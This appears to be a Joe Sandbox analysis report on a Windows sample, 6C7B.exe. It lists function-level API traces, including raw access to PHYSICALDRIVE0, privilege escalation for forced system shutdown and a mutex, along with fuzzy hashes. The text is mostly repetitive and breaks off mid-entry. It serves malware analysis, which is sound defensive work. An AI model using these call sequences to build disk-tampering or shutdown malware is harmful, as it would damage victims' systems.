\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNEL32(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlCreateDeviceFile
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 107608037-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004082B6 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 00404845
AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 004082F8
FreeSid.ADVAPI32(?), ref: 0040AA9C

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction ID: 1502378442f3bba6843c10e462c5ea7b9d530f023e777048d123248eda5abe90
Opcode Fuzzy Hash: a4effce1087fb57fd00f7ec72273620cf91c437d6a0f92fe25e66b5b43bbe758
Instruction Fuzzy Hash: C9014470A04348FAEB10DBE4C948BEEBFB8AB15705F008499E101BA1C1D3B89B04DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040B453 Relevance: 1.6, APIs: 1, Instructions: 119COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,0004D004,?,00000000,?,00000000,00000000,00000000), ref: 0040B613

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction ID: 4278b43e27663415cba18f20cd4f792bdb1a65b806582fdca38cb5ba5a4c1545
Opcode Fuzzy Hash: a18e5d1472410fca8ca710374cb3d90e60d246b078c147aac9527c84940cfddb
Instruction Fuzzy Hash: 5D515B75A04244DFEB08CF98C590BAABBB2EF94304F2881E9D9015B387C675EE41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1F6 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 169libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,0040AEB6,?,?,004046B5), ref: 0040D1FE
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0040D336
LoadLibraryA.KERNEL32(ntdll.dll), ref: 0040D3A8

Strings

kernel32.dll, xrefs: 0040D1F9
advapi32.dll, xrefs: 0040D331
ntdll.dll, xrefs: 0040D3A3

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad$HandleModule
String ID: advapi32.dll$kernel32.dll$ntdll.dll
API String ID: 2593893887-1356967432
Opcode ID: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction ID: ca720bcfbdb204521244a6d16e88fbee784b87e4b750a5d7fd7297a05bd30f3d
Opcode Fuzzy Hash: 77f18392bb993366c1df7b453053b3aeb51cb4a2013aefc10122c1c1374fb3f4
Instruction Fuzzy Hash: DC511DF2D10210EFD304BFA1BCC28393AB5E649305744457FF985A72A1F6B9A9448B6B

Uniqueness

Uniqueness Score: -1.00%

Function 004023F2 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2

Strings

NTDLL.DLL, xrefs: 004024CD
advapi32.dll, xrefs: 004023FF
SeShutdownPrivilege, xrefs: 00402481

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 1029625771-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405312 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

RtlNtStatusToDosError.NTDLL(C0000023), ref: 004037E8
RtlRestoreLastWin32Error.NTDLL(00000000), ref: 004037EF
RtlInitUnicodeString.NTDLL(?,00007FFD), ref: 00408342
RtlExpandEnvironmentStrings_U.NTDLL(00000000,?,?,00000000), ref: 00408372

Strings

#, xrefs: 00408385

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Error$EnvironmentExpandInitLastRestoreStatusStringStrings_UnicodeWin32
String ID: #
API String ID: 4202685462-1885708031
Opcode ID: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction ID: 2625ad76528c3a05819e41784e94355af3192e6a8ec1aace2841fc774e878e1c
Opcode Fuzzy Hash: d2950aec320787fbfdd949c7a338a73876b2f1d301fb6a4be3977a861f702f93
Instruction Fuzzy Hash: D5115175D14209EFDB14DFE4C984AAEBB79EF08301F10856AE915B32C0EB789705CB56

Uniqueness

Uniqueness Score: -1.00%

Function 004050A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.NTDLL(?,00620000), ref: 004050CC
RtlInitUnicodeString.NTDLL(?,explorer.exe), ref: 004050DE

Strings

explorer.exe, xrefs: 004050D2

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: InitStringUnicode
String ID: explorer.exe
API String ID: 4228678080-3187896405
Opcode ID: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction ID: 050ed0569a6514cfdb40d37d4b6a842c1993e2635d6f26a1999b978f90a0d4ff
Opcode Fuzzy Hash: 7d548acef704560823f98ce8b990f017fce1fd689d344c9a11bc31deb3c59b97
Instruction Fuzzy Hash: BAF09074204248EFCB04CF54C880E6ABBA6FB49304F20855AFC0597381C674ED91CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403AEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(00000000,00000000,jmuZVxzUSQKZJ,?,?,004044C1,?,?,004046B5), ref: 00403AFB
GetLastError.KERNEL32(?,?,004044C1,?,?,004046B5), ref: 00403B06

Strings

jmuZVxzUSQKZJ, xrefs: 00403AF2

Memory Dump Source

Source File: 00000004.00000002.1908493300.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1908450375.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908564545.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908624572.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.1908677954.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: jmuZVxzUSQKZJ
API String ID: 1925916568-1615886713
Opcode ID: 97f4a8950689e7290d3bb4c401befd14a09affdda078bd002e7cbc94f52d7475
Instruction ID: 0594eaefbf50b0c8ed9c9a89b72dfe51cd43608961eacb7f94053228cce8ae52
Opcode Fuzzy Hash: 97f4a8950689e7290d3bb4c401befd14a09affdda078bd002e7cbc94f52d7475
Instruction Fuzzy Hash: 32D017B044A304FAE3008F50DE4DB587EA4EB10702F208036E2026A2D4E3F85A45564A

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 6C7B.exePID: 2116, Parent PID: 2640COMMON

Execution Graph

Execution Coverage:	14.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	422
Total number of Limit Nodes:	24

Executed Functions

Function 004023F2 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 82
librarynativeshutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00402404
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00402488
AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,?), ref: 004024B4
LoadLibraryA.KERNEL32(NTDLL.DLL), ref: 004024D2
NtShutdownSystem.NTDLL(00000001), ref: 004024F1

Strings

SeShutdownPrivilege, xrefs: 00402481
advapi32.dll, xrefs: 004023FF
NTDLL.DLL, xrefs: 004024CD

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AdjustLookupPrivilegePrivilegesShutdownSystemTokenValue
String ID: NTDLL.DLL$SeShutdownPrivilege$advapi32.dll
API String ID: 2117616786-2471717051
Opcode ID: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction ID: 3c0ce9a7761a6e63309c521fc4ca6a6d9466e377a545f21450368ef7aac56ae8
Opcode Fuzzy Hash: e654aa5178626686adecf490f11625747cc8277270b74630ebdda96dc98469bc
Instruction Fuzzy Hash: F13146B1E10209EBDB04DFE0CD46BEEBB74EB44701F20416AF501B66C0E7795A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00409543 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78
memorylibrarynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409574
NtAllocateVirtualMemory.NTDLL(000000FF,0046C2D0,00000000,00001000,00003000,00000004), ref: 004095E1
EnterCriticalSection.KERNEL32(DB51E8EC), ref: 00409610
RtlInitUnicodeString.NTDLL(00000180,00660000), ref: 00409626
RtlInitUnicodeString.NTDLL(00000178,00660000), ref: 0040963C
LeaveCriticalSection.KERNEL32(DB51E8EC), ref: 00409649
LdrEnumerateLoadedModules.NTDLL(00000000,004050A2,00404393), ref: 0040965A

Strings

explorer.exe, xrefs: 004095A8

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CriticalInitSectionStringUnicode$AllocateDirectoryEnterEnumerateLeaveLoadedMemoryModulesVirtualWindows
String ID: explorer.exe
API String ID: 3728205514-3187896405
Opcode ID: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction ID: d3c5517ac64ebe0f4a93bb8fcf9093c65cacff95b6910bca11f849b0b04bbd4d
Opcode Fuzzy Hash: 971d90eb416ca67aafcaf3557b906dfb5bbb6d99924e81ee9f7e95ee9359d988
Instruction Fuzzy Hash: 4F3195B5940208EBC704DF90DCC5FA97775AB48305F1081BAFA05672D1E7B8AE85CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00408958 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction ID: 6179182b2b83b9443c5bd9d33f461fa1aeab268a59a3a7b7debce46551af33e6
Opcode Fuzzy Hash: 320e27fcbf62a17e998bc26e42cf0c1a2d27fdc4df0059520f6dda202d1693b9
Instruction Fuzzy Hash: AF216D38640348EFD718CF68ED45F99BBB4EB48701F10C1AAE905AB3E1D6B49B40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0040895B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction ID: 711083b2bbb86b7d36e7a7c78397dedf6b4307ebbdc5261e1e4f3fe33cb2826c
Opcode Fuzzy Hash: 6e1c8ed08f6fcb21cf0fed49fef2ed80236c62ed62855b81c13f5c76d91f0969
Instruction Fuzzy Hash: 6F215C38600308AFD718CF58DC46F99BBB4AB48701F10C0AAE905AB3E1D6B4AA40CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00408951 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 004047E4
CreateFileA.KERNELBASE(\\.\C:,00000000,00000003,00000000,00000003,00000000,00000000), ref: 00408972
DeviceIoControl.KERNELBASE(?,00560000,00000000,00000000,?,00000020,?,00000000), ref: 00408994

Strings

\\.\PHYSICALDRIVE0, xrefs: 004089A0
\\.\C:, xrefs: 0040896D

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: ChangeCloseControlCreateDeviceFileFindNotification
String ID: \\.\C:$\\.\PHYSICALDRIVE0
API String ID: 1020254441-2160117148
Opcode ID: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction ID: 389e508c5a35674a8dec956cf5ed0ace9ff19c3110c7d277eeff61c57732489a
Opcode Fuzzy Hash: 43b5c774c06db54b38c673015130514d13990ffabb50efddd8f557c0ac6fe542
Instruction Fuzzy Hash: 79216D78604348EFD708CF58E855BA9BBB4EB48711F10C1AAE905AB3E1D7B49B40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00401B2C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL(00000000,00000000,00000020,00000020,00000000), ref: 00402AA8

Strings

, xrefs: 00402A93

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-3916222277
Opcode ID: 99cf6030004cc14fcfbf758772858fa4ef28e9fcd54024a0ddfc1a5f41bc18d2
Instruction ID: b5fb0c1052741472a29b3626a296402ee31a9556d555090f334d473f401f16ea
Opcode Fuzzy Hash: 99cf6030004cc14fcfbf758772858fa4ef28e9fcd54024a0ddfc1a5f41bc18d2
Instruction Fuzzy Hash: 0E01A471D04308FBDB00DF90C98A7EDBBB8AB05314F24506AE540772C1E7BC9685A75A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AEA4 Relevance: 3.0, APIs: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: Module$FileHandleInitializeLibraryLoadName
String ID:
API String ID: 1691763914-0
Opcode ID: 7a2ac303de4b0b2ba4ade585fa2e29916ceed782501468d31b7631315bf6b27d
Instruction ID: b20ac1345fbffd2ee6b09d0fcfa97f88ae309217d757d61775f2d603f36cc11d
Opcode Fuzzy Hash: 7a2ac303de4b0b2ba4ade585fa2e29916ceed782501468d31b7631315bf6b27d
Instruction Fuzzy Hash: 0BF0BE70608345D6C6047FB38E4672A76B8AF0030DF10407FFD02B62D2EA7E9A11559F

Uniqueness

Uniqueness Score: -1.00%

Function 00407D21 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00407D33

Memory Dump Source

Source File: 0000000A.00000002.1945152381.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.1945068979.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945225272.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945434544.0000000000413000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.1945725917.000000000046E000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_6C7B.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID:
API String ID: 2050909247-0
Opcode ID: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
Instruction ID: 2d0ccdd24a91546423dca3ee3cf720458c613a0087a6006a7f2d7a66fbfa4b10
Opcode Fuzzy Hash: 5469e9984ee0613fe67692c8399fce14f271ad5feb70d4257aac3e9e61b94720
